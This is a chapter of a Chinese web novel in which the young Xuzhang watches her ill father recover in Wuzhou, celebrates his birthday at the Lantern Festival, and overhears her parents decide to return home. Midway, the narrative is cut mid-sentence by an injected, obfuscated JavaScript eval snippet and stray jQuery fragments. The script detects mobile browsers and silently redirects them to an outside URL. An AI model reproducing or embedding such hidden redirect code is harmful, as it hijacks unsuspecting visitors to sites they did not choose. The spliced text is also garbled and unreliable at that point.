那个夜晚对阿耶的生命起到多么巨大的转折作用，三岁的旭章尚且不得而知。但她敏锐察觉，自己的生活发生了一些变化。


    阿耶好久没有写字，爹也不再频繁出门卖货种地，长时间待在家里，跟阿耶的争执也多起来。一次阿耶没忍住，用了冷水沐浴，爹便发了好大的脾气——爹发脾气的方式，就是把冷水倒掉，三天不和阿耶讲一句话。


    一个傍晚，爹烧锅做饭，先蒸米糕，又下馎饦。阿耶踱进来，看看锅碗瓢盆，问：“我帮你些什么？”


    爹挼好馎饦浸在水里，又去切胡荽，边说：“不用。”


    阿耶有些讷讷，然并未气馁，继续问：“我帮你烧汤么？”


    爹还是道：“不用。”


    阿耶看了一会，轻轻叫：“绥郎。”


    ——旭章察觉，他每每这样称呼爹，爹的言行都要再软和几分。


    果然，爹身形一顿。


    阿耶说：“你别和我置气了，我错了。我和你说话，感觉肚子里都有刀片绞，我真的好疼。”


    爹回头看阿耶，鼻息又重了几分，神情却明显缓和了。旭章晓得，他定是见阿耶红眼圈了。


    再次果然，爹就要上手给他擦脸，想起一手面粉作罢，道：“先回去躺着罢，吃饭我叫你，旭章。”


    阿耶忙道：“别叫她，让她玩吧，她心细，这几天只怕担惊受怕。我躺着更是痛。”


    爹问：“怎么缓和些？”


    阿耶摇头笑笑：“汤沸了，你忙活吧。等我好些，再去写字。”


    爹道：“不差那几个钱。”


    爹和阿耶和好的当夜，家里那张床拥挤起来。旭章见爹将铺盖从行军榻搬到这边，小声欢呼：“爹和我们一块睡吗？”


    爹笑了笑，点头应声。


    旭章把自己的小褥子往里拽了拽，正好在两个大人中间，道：“好呀，阿耶身上太冷了，我暖不过来。爹比我热，爹暖暖他。”


    爹没接这话，阿耶也没说什么。只是这个新年来，给旭章将睡前故事的变成爹，阿耶靠着枕在一旁笑，旭章见他发根已经湿透，知道他在强打精神。


    爹说阿耶要好了，但旭章却觉得，阿耶似乎比从前病得更重。有次半夜醒来，她见阿耶撑在床头呕吐，爹赤脚披衣坐在他身旁，一手给他揉胃，一手将脸盆上的热手巾取过来。有次是爹拉着他的手，似乎在按揉什么穴道，爹轻声问：“好受些吗？”阿耶似乎没什么力气，紧闭的双唇间挤出很轻的一声，也不知是应还是不应。


    阿耶消瘦下去，连爹也瘦了一圈。一天旭章听爹道：“要么我弄些五净肉来，多少要吃些。”


    阿耶还是摇头。


    爹说：“我这么带你回去，你爹不得要我的命。”


    阿耶道：“我爹不会。”


    爹笑了笑，说：“你会。”


    他们两个沉默一会，都没有继续这个话题。


    爹又问：“晚上吃什么？”


    阿耶说：“能做些甜的么？嘴里没味道。我尽量不吐了。”


    爹叹口气：“吃不下不要勉强，吐又要伤胃。”


    当晚吃了甜丝丝的枣泥糕。


    为了阿耶养病，他们又在吴州住了一年。这一年里，认字的学塾开了起来，戒膏衙门也火火热热。春暖花开后，阿耶也偶尔去门前写字，但摊子要爹帮忙支好，一天也写不多，起初最多十张。


    邻里纷纷关心他的病情，怕爹辛苦，中午晚上也会捎些饭菜过来，只说大人不吃孩子也要吃。这一年，旭章吃遍了街坊们的拿手菜，孙阿婆的糖水蛋，油坊阿婶的赤豆糊，阿鹃阿姊晓得阿耶不吃荤，便常送些赛螃蟹。


    阿耶一上来推拒，只道：“来了也没帮上大伙什么，哪能收这些。”


    几个姊姊便笑：“若非要阮郎有功劳才给吃这些，跟那起子见钱眼开的小人有什么两样？有道远亲不如近邻，一碗吃的罢了。再说，郑郎这两年又是帮我们种地又是帮我们修屋，连刘大叔家里那头老黄牛都是他找回来的，真算起来，我们还要谢你们呢。”


    不得不说，阿耶身体的确见好，精气神和脸色都有长进，渐渐能正常替人代笔，也给远在长安的阿翁写信。阿翁似乎很牵挂阿耶，但没有催促阿耶回家。


    时间随门前溪水汇入运河，又随运河滚滚东去，旭章拔高了个头，黄历又掀过一篇，就这么到了奉皇二十一年的年初。


    今年元日是立春，春风送暖，连阿耶的手都不这么冰了。等到上元，家家户户更是高举花灯，紧前头有一座灯人，旭章看了好几看，才认出是门上贴的那位魁梧健硕的太子。弄灯者敲锣打鼓，高声喊道：“皇太子万岁千秋——”


    一时之间，满街洋溢万岁万岁、千秋千秋。


    旭章叫爹举在肩上，犹记得是阿耶生辰，催促爹买完东西快些回家。父女两个和灯队人群相背而行，旭章低头问：“爹，什么叫万岁千秋？”


    爹想了想，道：“就是生辰喜乐。”


    旭章小小叫一声：“这个神和阿耶是一天生日呀。”


    爹笑着应了。旭章忙道：“爹，爹，咱们快点走，这么多人给太子过生日，就阿耶一个人在家。”


    爹笑道：“坐稳喽——”说着拔腿向家的方向跑去。


    爹从来没跑过这么快，旭章被他双手紧紧抓着，看到所有的灯火流星般和自己相背而驰。他们跑离了热闹和灯会，回到明显黯淡、安安静静的家门口。


    阿耶正在家里点灯写信，应当是写给南方的阿翁。旭章跑进屋，跳着脚把怀里的食匣推到他面前，叫道：“今天衙门发圆子！”


    阿耶撂下笔，笑着替她解斗篷，“衙门发圆子，这么好的事情呀？”


    旭章道：“听阿鹃阿姨说，都发了好几年了，是我们从前不知道。”


    爹挂了灯笼回来，关好门，道：“这几年开的新例，每年上元，由各镇官府聘请厨子，自卯时至戌时于公廨门口分发汤圆。人均有份，一人两个，都是胡麻馅的。”


    阿耶打开食匣，捧出那一小碗犹温的汤圆，看了一会，坠下两行泪来。


    旭章忙踮脚帮他擦眼泪，问：“阿耶怎么哭了？这汤圆好吃的。”


    阿耶笑笑，道：“乖囡，阿耶的爹想阿耶了。”


    早晨爹给阿耶擀了长寿面吃，晚上便吃圆子，没有再包，只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678723|186996||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吃这两个。旭章疑心阿耶那碗多加了饴糖，不然阿耶的笑容怎么会甜得像沁了蜜一样？


    饭后，阿耶从荷包里取出三枚铜钱，用红绳穿着，跟平日花的铜板很不一样。阿耶把它放在香案上，对着拜了三拜，磕了三个头。全程爹陪着他，他怎么磕爹就怎么磕。


    夜间沐浴后，阿耶便照旧哄她睡觉。


    旭章卧在阿耶怀里，闻到一股淡淡的檀香乳香和椰奶的香气。她耸耸鼻子，道：“真好闻。”又强调：“阿耶身上真好闻。”


    阿耶笑道：“是香好闻。”


    旭章很不认同：“就是阿耶好闻，不是香好闻。爹说是不是？”


    阿耶笑道：“你就仗着爹哄你，快睡。”


    旭章已经长大一岁，知道大人等她睡后要说悄悄话，便赶紧装睡，好竖起耳朵探大人的秘密。今晚等了好久，却不等那两人讲话。她睁开眼，隔着青丝帐子，模糊看得一盏灯边，晕着阿耶披发斜坐的身影。


    他低声同爹讲：“今日洗的热水。”


    爹嗯一声，道：“我省得。”


    阿耶默了一会，莫名其妙道一句：“是降真香，那香留香长，沐浴后也有味道。我想着今天这个日子，多少是个正日子。”


    爹又应一声。


    阿耶补充：“不过也贵。是我从前用剩的，装箱子时姑姑一块给我带了来，就用了一小块。”


    爹没多讲，只道：“头发还湿着，我给你擦头吧。”


    阿耶道：“这样睡就得了。”


    爹道：“这样睡头痛。”


    阿耶没再坚持，将手巾递给爹，爹绕到他颈后帮他擦头，擦到旭章困着也没擦完。


    或许是阿耶太香了，把爹香晕了。旭章迷迷糊糊想，或许是阿耶太白，在灯底下露那么一段脖颈，跟一块牛乳方糕似的，她见了都想咬一口，牛乳糕，椰浆香味的牛乳糕……


    第二天晚上，等旭章睡下，爹从怀里拿出一只帕子包的小盒给阿耶。阿耶打开一瞧，有些讶然：“新买的？这香贵呢。”


    爹道：“家里买香还是买得起的。只是比不上宫里，你将就用。我也瞧见卖香具的铺子，短什么你写给我，我明天去买。”


    阿耶看了那小盒一会，突然道：“过来，给你捏捏后颈皮。”


    爹忙笑：“岂敢。”


    阿耶也笑：“这一年累你一个人养家糊口，这算什么？”


    旭章隔着帐子，听爹哎一声，有些磨蹭，也有些顺从地坐下。阿耶的声音有些飘渺：“你其实不必吃这些苦。”


    爹道：“若什么都靠官威，能瞧见什么真的东西。成日堆笑，你比我知道那辛苦。”


    阿耶默了一会，替他按着肩颈，突然道：“我这几年听姑姑讲，若不是吴刺史以命相托，阿爹大抵不会留在潮州。他不做皇帝，若阿耶也不是大公，他们相逢市井，过平平常常的日子……他们带着我，大抵就像咱们带着太阳。”


    这句话后，阿耶默了许久，爹也不再说话。等旭章认为偷听结束，钻回被窝之际，听到阿耶的声音再度响起，似乎下定什么决心。


    “绥郎，”阿耶道，“咱们该回去了。”